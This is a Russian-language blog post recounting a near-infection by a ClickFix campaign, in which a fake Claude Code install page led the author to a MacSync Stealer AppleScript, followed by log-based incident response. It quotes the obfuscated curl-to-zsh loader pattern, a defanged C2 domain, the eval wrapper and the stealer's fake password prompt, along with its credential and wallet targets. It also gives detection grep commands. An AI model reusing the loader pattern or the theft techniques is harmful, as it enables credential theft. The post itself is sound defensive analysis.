Недавно я попал в ситуацию, о которой обычно читаешь в чужих разборах: искал, как установить Claude Code на macOS, открыл вроде бы нормальную инструкцию, скопировал команду в Terminal — и почти запустил macOS-стилер.
Самое неприятное в этой истории не то, что команда оказалась вредоносной. Неприятно то, насколько естественно всё выглядело.
Я не скачивал подозрительный .dmg с неизвестного форума. Не запускал “кряк”. Не открывал вложение из странного письма. Я делал обычную для разработчика вещь: искал инструкцию по установке CLI-инструмента.
Страница выглядела как сохранённый чат Claude на claude.ai. На тот момент я даже не знал, что в Claude можно шарить чаты публичной ссылкой. Увидел знакомый домен, увидел вроде бы техническую инструкцию по Claude Code — и мозг на секунду отключил критическое мышление.
Разработчики постоянно копируют команды из документации. curl ... | bash, npm install -g, brew install, docker run — всё это стало частью рабочего процесса. Именно в этот привычный сценарий и встроилась атака.
Команда была замаскирована через base64 и запускалась через curl | zsh. Уже одно это должно было насторожить, но в моменте я действовал почти механически.
Очнулся я только тогда, когда появилось странное окно запроса системного пароля.
В этот момент внутри всё сжалось. Я посмотрел на команду внимательнее, увидел base64, понял, что она не такая прозрачная, как должна быть, и быстро перезагрузил Mac.
Пароль я не ввёл.
После перезагрузки я начал разбирать, что именно успело произойти: запускался ли вредонос, был ли сетевой трафик, появился ли архив с украденными данными, закрепился ли скрипт в системе и нужно ли считать SSH-ключи, .env и токены скомпрометированными.
Что это была за атака
По итогам анализа это оказалась ClickFix-атака с MacSync Stealer.
ClickFix — это техника социальной инженерии, когда пользователя убеждают самому скопировать и выполнить вредоносную команду. Это не классическая уязвимость macOS, не взлом Claude Code и не ситуация “я просто открыл сайт и заразился”. Здесь всё держится на том, что пользователь сам запускает код в доверенной среде — в Terminal.
В моём случае приманка была связана с фейковой установкой Claude Code. Цепочка выглядела так:
fake Claude Code install → obfuscated terminal command → curl | zsh → Base64/Gzip loader → dynamic AppleScript → osascript → fake macOS password prompt → MacSync Stealer
То есть это была не просто “подозрительная команда”. Скрипт действительно скачивал следующий stage и запускал AppleScript через osascript.
Что было в исходной команде
Внешне команда выглядела как инструкция установки. Внутри был base64, который скрывал реальный URL:
curl -kfsSL $(echo 'BASE64_STRING' | base64 -D) | zsh
После декодирования открывался сторонний домен:
denverplumbingandwaterheater[.]com
Он не имел отношения к официальной документации Claude Code.
Первый скачанный скрипт был обёрткой: внутри лежал Base64/Gzip payload, который распаковывался и выполнялся через eval.
#!/bin/zsh d17834=$(base64 -D <<'PAYLOAD...' | gunzip ... ) eval "$d17834"
Сама по себе команда curl | bash или curl | zsh не всегда зло. Но когда внутри появляются base64, gunzip, eval, неизвестный домен и osascript, это уже не “удобная установка”, а повод остановиться.
Проблема в том, что пользователь не видит, что именно он запускает.
Что я проверил после перезагрузки
После перезагрузки я начал разбирать инцидент по шагам.
Сначала проверил активные процессы, /tmp, LaunchAgents, LaunchDaemons, Login Items и shell history. Потом посмотрел unified logs macOS, отдельно события curl и osascript, сетевую активность в окне инцидента, а также права Terminal в macOS Privacy: Full Disk Access и Files and Folders.
По логам стало видно, что цепочка действительно стартовала:
zsh → curl → curl → osascript
Первый curl, судя по всему, скачал shell-loader. Второй curl скачал dynamic AppleScript. После этого osascript начал выполняться.
Это важный момент: отсутствие вредоносной команды в ~/.zsh_history не означает, что ничего не запускалось. История shell может не сохраниться, если команда не завершилась штатно, Terminal был закрыт или система была перезагружена.
Системные логи здесь оказались важнее, чем history.
Как я достал второй stage
После этого я распаковал первый stage, но не выполнял его. Из него удалось достать параметры C2: домен, token, api-key, User-Agent и endpoint для dynamic AppleScript.
Второй stage скачивался примерно так:
/dynamic?txd=<token>
Я скачал ответ в файл payload.applescript и дальше анализировал его как обычный текст.
Важно: я не запускал его.
То есть не было:
osascript payload.applescript
и не было:
curl ... | osascript
Это принципиальный момент. Скачанный вредоносный файл сам по себе не запускается, пока его явно не выполнить.
Что оказалось внутри payload.applescript
Внутри AppleScript были строки:
MacSync Stealer Build Tag: claude 5 Version: 1.1.2_release
После этого стало понятно, что это не просто “похоже на стилер”. Payload сам себя называл MacSync Stealer.
Логика работы была довольно прямой. Скрипт создавал временную директорию в /tmp, ставил lock-файл, пытался закрыть Terminal, а затем показывал фальшивое окно, похожее на системный prompt:
System Preferences You should update the settings to launch the application.
Введённый пароль проверялся через:
dscl . authonly <username> <password>
То есть это был не обычный sudo, а фальшивый запрос пароля, который проверял введённый пароль локально. Если пароль валидный, скрипт переходил к сбору данных.
Это очень важный момент для оценки риска: в моём конкретном payload основной сбор данных начинался после успешной проверки macOS-пароля.
Что собирал MacSync Stealer
Если бы пароль был введён, скрипт собирал бы много чувствительных данных.
Он был нацелен на браузеры Chromium-семейства: Chrome, Yandex Browser, Brave, Edge, Vivaldi, Opera, Arc и другие. Его интересовали cookies, saved logins, autofill, IndexedDB и данные расширений.
Был отдельный блок для Firefox/Gecko-браузеров. В функции on Gecko(...) я нашёл русские комментарии:
Простое копирование всех важных файлов (включая WAL/SHM) Убрана хрупкая SafeSQLiteCopy (часто падала когда Firefox запущен)
Это не доказывает, кто именно оператор атаки. Но это интересный индикатор: часть кода или экосистемы вокруг payload может быть русскоязычной.
Сам блок Gecko был сделан не наспех: он копировал не только основные SQLite-файлы браузера, но и WAL/SHM-файлы. Это важно, потому что если браузер открыт, часть актуальных данных может находиться именно там.
Также payload был нацелен на Telegram Desktop, Keychain, browser safe storage keys, криптокошельки, Ledger/Trezor-приложения, а также на developer-секреты: ~/.ssh, ~/.aws, ~/.kube, .zshrc, .zsh_history, .bash_history, .gitconfig.
Для разработчика это особенно неприятная часть. Потеря cookies — уже проблема. Но утечка SSH-ключей, AWS credentials или Kubernetes config может означать риск для серверов, репозиториев, CI/CD и клиентской инфраструктуры.
Отдельного целевого поиска .env по папкам проектов я в этом payload не увидел. То есть обычные Laravel/PHP .env, лежащие где-нибудь в ~/Projects/..., не выглядели основной целью именно этого AppleScript. Но секретные файлы в Desktop, Documents и Downloads, особенно .pem, .key, .txt, .db, .wallet, .kdbx, попадали в зону риска.
После сбора данных AppleScript должен был создать архив:
/tmp/osalogging.zip
А затем первый shell-loader должен был проверить наличие этого архива, разделить его на чанки и отправить на C2-сервер через PUT-запросы.
Что реально произошло в моём случае
По логам подтверждалось, что curl и osascript запускались. То есть попытка заражения была реальной.
Но не подтвердились ключевые признаки успешной кражи данных: я не нашёл /tmp/osalogging.zip, не увидел PUT-выгрузки, не увидел серии upload-запросов чанками, не нашёл закрепления в LaunchAgents/LaunchDaemons и не увидел активного вредоносного процесса после перезагрузки.
Главное — я не ввёл пароль.
После анализа payload.applescript стало понятно, что основной сбор данных в этом конкретном payload был завязан на успешную проверку macOS-пароля. Значит, сценарий должен был зависнуть на фальшивом prompt и не перейти к функциям сбора браузеров, кошельков, Telegram, Keychain, ~/.ssh, ~/.aws, ~/.kube и созданию /tmp/osalogging.zip.
Это совпало с логами: osascript был запущен, показывал UI, потом процесс был оборван перезагрузкой. Архив не появился, признаков отправки я не увидел.
Итоговый вывод такой:
компрометация была реальной попыткой; полная успешная кража данных не подтверждается; по логике payload и логам она выглядит маловероятной; ротация SSH и токенов всё равно была правильным решением.
Важно не делать слишком сильный вывод. Нельзя честно сказать: “точно не утек ни один байт”. После таких инцидентов это обычно невозможно доказать на 100%.
Но можно сказать другое: по коду, логам и отсутствию артефактов успешная полная кража данных выглядит маловероятной.
Что я сделал с доступами
Несмотря на то что признаки успешной выгрузки не подтвердились, я всё равно начал ротацию критичных доступов.
В первую очередь — SSH-ключи и токены, которые могли бы дать доступ к серверам, GitHub/GitLab, API, хостингам и клиентской инфраструктуре.
Для SSH я создал новый ключ, добавил его на серверы, проверил вход строго новым ключом и только после этого стал удалять старые публичные ключи из authorized_keys.
Публичные ключи на сервере обычно лежат здесь:
~/.ssh/authorized_keys
Для root:
/root/.ssh/authorized_keys
Главное правило простое: сначала добавить новый ключ, проверить вход новым ключом и только потом удалять старый. Иначе можно случайно закрыть себе доступ к серверу.
Можно ли понять, кто автор
Семейство вредоноса определить можно довольно уверенно: это MacSync Stealer.
Технику атаки тоже: ClickFix.
А вот конкретного автора определить нельзя.
В таких схемах может быть несколько ролей: разработчик стилера, оператор C2, покупатель MaaS, человек, сделавший фишинговую страницу, человек, купивший рекламу или продвинувший ссылку, и владелец скомпрометированного сайта.
Русские комментарии в on Gecko(...) — интересный индикатор, но не доказательство личности или страны оператора.
Корректная формулировка здесь такая: MacSync Stealer / ClickFix campaign with indicators suggesting a Russian-language ecosystem.
Некорректная — “мы точно знаем, кто автор”.
Что делать, если вы запустили подозрительный curl | bash или curl | zsh
Главное — не вводить пароль, если команда из интернета внезапно его просит.
Не “посмотреть, что будет”.
Не “введу, а потом удалю”.
Не “ну вроде сайт нормальный”.
Остановиться.
Если есть подозрение, что вы запустили вредонос, лучше оборвать выполнение. В моём случае я перезагрузил Mac.
Дальше стоит проверить /tmp, автозапуск, shell startup files, активные процессы, unified logs и права Terminal в macOS Privacy. Особенно важны Full Disk Access, Files and Folders, Accessibility и Automation.
Минимальный набор команд для первичной проверки:
find /tmp /private/tmp -maxdepth 1 \( -iname "*osalog*" -o -iname "*.zip" \) -print find ~/Library/LaunchAgents /Library/LaunchAgents /Library/LaunchDaemons -type f -mtime -7 -print grep -nEi "curl|osascript|base64|gunzip|launchctl" \ ~/.zshrc ~/.zprofile ~/.bashrc ~/.bash_profile ~/.profile 2>/dev/null ps aux | egrep "curl|osascript|zsh|bash|python|launchctl|MacSync" | grep -v egrep
Если речь про developer-машину, я бы также ротировал SSH-ключи, GitHub/GitLab tokens, deploy keys, API keys, SMTP/app passwords, cloud credentials и секреты из важных .env.
Как безопаснее устанавливать CLI-инструменты
Я не хочу делать вывод “никогда не используйте curl | bash”.
В реальности такие команды встречаются часто. Но запускать их вслепую нельзя.
Перед запуском стоит проверить официальный домен, куда ведёт curl, нет ли base64, gzip, eval, osascript, неизвестного домена и необъяснимого запроса прав администратора.
Команда установки должна быть понятной.
Если вы видите обфускацию, неизвестный домен и запрос системного пароля — остановитесь.
Главный вывод
Этот инцидент закончился относительно хорошо. Но только потому, что в момент запроса пароля я остановился.
Вредоносная цепочка реально стартовала:
curl → zsh → loader → dynamic AppleScript → osascript
Payload оказался MacSync Stealer. Он был нацелен на браузеры, cookies, кошельки, Telegram, Keychain, SSH, AWS, Kubernetes и другие чувствительные данные.
Но в моём случае основной сбор данных был завязан на ввод валидного macOS-пароля. Пароль я не ввёл. Архив /tmp/osalogging.zip не появился. Признаков PUT-выгрузки и persistence я не нашёл.
Самый важный вывод здесь не технический, а человеческий.
Бдительность иногда выключается у любого. Даже у опытного разработчика. Особенно когда атака встроена в привычный рабочий сценарий: открыть мануал, скопировать команду, поставить инструмент.
Именно поэтому такие атаки работают.
Не потому что человек “глупый”.
А потому что он живой.
В нашей работе паранойя — это не болезнь. Это защитный механизм.
Видео:
https://vk.com/video-238292605_456239029
https://rutube.ru/video/private/4dcd3a7da404bc96610e13309c3a9d10/?p=k5ppADTOb18t5lkU5TTKiw
Хотите такой же результат?
Бесплатно посчитаем ваш проект и покажем, где автоматизация даст максимальный эффект.
Обсудить проект →
Комментарии · 0